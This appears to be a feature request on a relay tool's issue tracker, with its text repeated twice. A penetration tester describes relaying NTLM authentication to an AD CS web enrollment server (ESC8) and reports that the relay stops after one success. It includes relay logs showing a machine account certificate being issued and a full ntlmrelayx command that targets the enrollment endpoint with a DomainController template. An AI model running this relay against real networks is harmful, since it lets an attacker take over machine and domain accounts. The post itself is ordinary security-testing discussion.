I've recently been on a test where I've been trying to relay multiple different connections to the same AD CS HTTP server, to exploit ESC8. The problem is, with the current implementation it doesn't seem to work nicely, and dies after one success. For instance, if I'm trying to coerce different machines in the network I have to kill the server and restart it every time I test a new target. Another example from my current test is that there are multiple scripts running daily as different users at the same time, each one of which reaches out to my relay. I can capture the first one every time, but not the rest. I'm assuming this is because it's trying to treat it as if the endpoint is an SMB server, or something that can handle only one connection. Example:
[2023-09-29 12:23:05] [*] Servers started, waiting for connections
[2023-09-29 12:25:03] [*] SMBD-Thread-2 (process_request_thread): Received connection from 10.1.1.1, attacking target http://ADCSSERVER
[2023-09-29 12:25:04] [*] HTTP server returned error code 200, treating as a successful login
[2023-09-29 12:25:04] [*] Authenticating against http://ADCSSERVER as DOMAIN/MACHINEACCOUNT$ SUCCEED
[2023-09-29 12:25:04] [+] No more targets
[2023-09-29 12:25:04] [*] SMBD-Thread-4 (process_request_thread): Connection from 10.1.1.1 controlled, but there are no more targets left!
[2023-09-29 12:25:04] [+] No more targets
[2023-09-29 12:25:04] [*] SMBD-Thread-5 (process_request_thread): Connection from 10.1.1.1 controlled, but there are no more targets left!
[2023-09-29 12:25:04] [+] No more targets
[2023-09-29 12:25:04] [*] SMBD-Thread-6 (process_request_thread): Connection from 10.1.1.1 controlled, but there are no more targets left!
[2023-09-29 12:25:04] [+] No more targets
[2023-09-29 12:25:04] [*] SMBD-Thread-7 (process_request_thread): Connection from 10.1.1.1 controlled, but there are no more targets left!
[2023-09-29 12:25:04] [*] Generating CSR...
[2023-09-29 12:25:04] [*] CSR generated!
[2023-09-29 12:25:04] [*] Getting certificate...
[2023-09-29 12:25:04] [*] GOT CERTIFICATE! ID XXXX
[2023-09-29 12:25:04] [*] Base64 certificate of user MACHINEACCOUNT$:
<base64 response, as normal>
[2023-09-29 12:27:17] [+] No more targets
[2023-09-29 12:27:17] [*] SMBD-Thread-8 (process_request_thread): Connection from 10.1.1.2 controlled, but there are no more targets left!
To me, it seems that the AD CS relay attack should be able to handle multiple different connections, since all the attack is doing is requesting a certificate through the web enrollment server, and doesn't actually need to keep any sort of connection open.
I've tried to set it to have a bunch of the same target in a "targets file" as well, hoping to get around it, as well as attempted to alter the code to always point to the same target- but I've not been very successful- and believe that this would be a nice QoL update.
EDIT: as a side note on something I did have to contend with, that might also be a nice QoL update- the endpoints for the AD CS server seem to be hardcoded in as always being "/certsrv/X", but having an option to change that could be useful. In my current test, the endpoints were actually "/certsrv/en-US/X", so the code had to be modified to work
Hello all,
I've recently been on a test where I've been trying to relay multiple different connections to the same AD CS HTTP server, to exploit ESC8. The problem is, with the current implementation it doesn't seem to work nicely, and dies after one success. For instance, if I'm trying to coerce different machines in the network I have to kill the server and restart it every time I test a new target. Another example from my current test is that there are multiple scripts running daily as different users at the same time, each one of which reaches out to my relay. I can capture the first one every time, but not the rest. I'm assuming this is because it's trying to treat it as if the endpoint is an SMB server, or something that can handle only one connection. Example:
ntlmrelayx.py -t http://ADCSSERVER/certsrv/en-US/certfnsh.asp --template DomainController -smb2support --adcs -ts --no-wcf-server --no-http-server --no-raw-server -debug
To me, it seems that the AD CS relay attack should be able to handle multiple different connections, since all the attack is doing is requesting a certificate through the web enrollment server, and doesn't actually need to keep any sort of connection open.
I've tried to set it to have a bunch of the same target in a "targets file" as well, hoping to get around it, as well as attempted to alter the code to always point to the same target- but I've not been very successful- and believe that this would be a nice QoL update.
EDIT: as a side note on something I did have to contend with, that might also be a nice QoL update- the endpoints for the AD CS server seem to be hardcoded in as always being "/certsrv/X", but having an option to change that could be useful. In my current test, the endpoints were actually "/certsrv/en-US/X", so the code had to be modified to work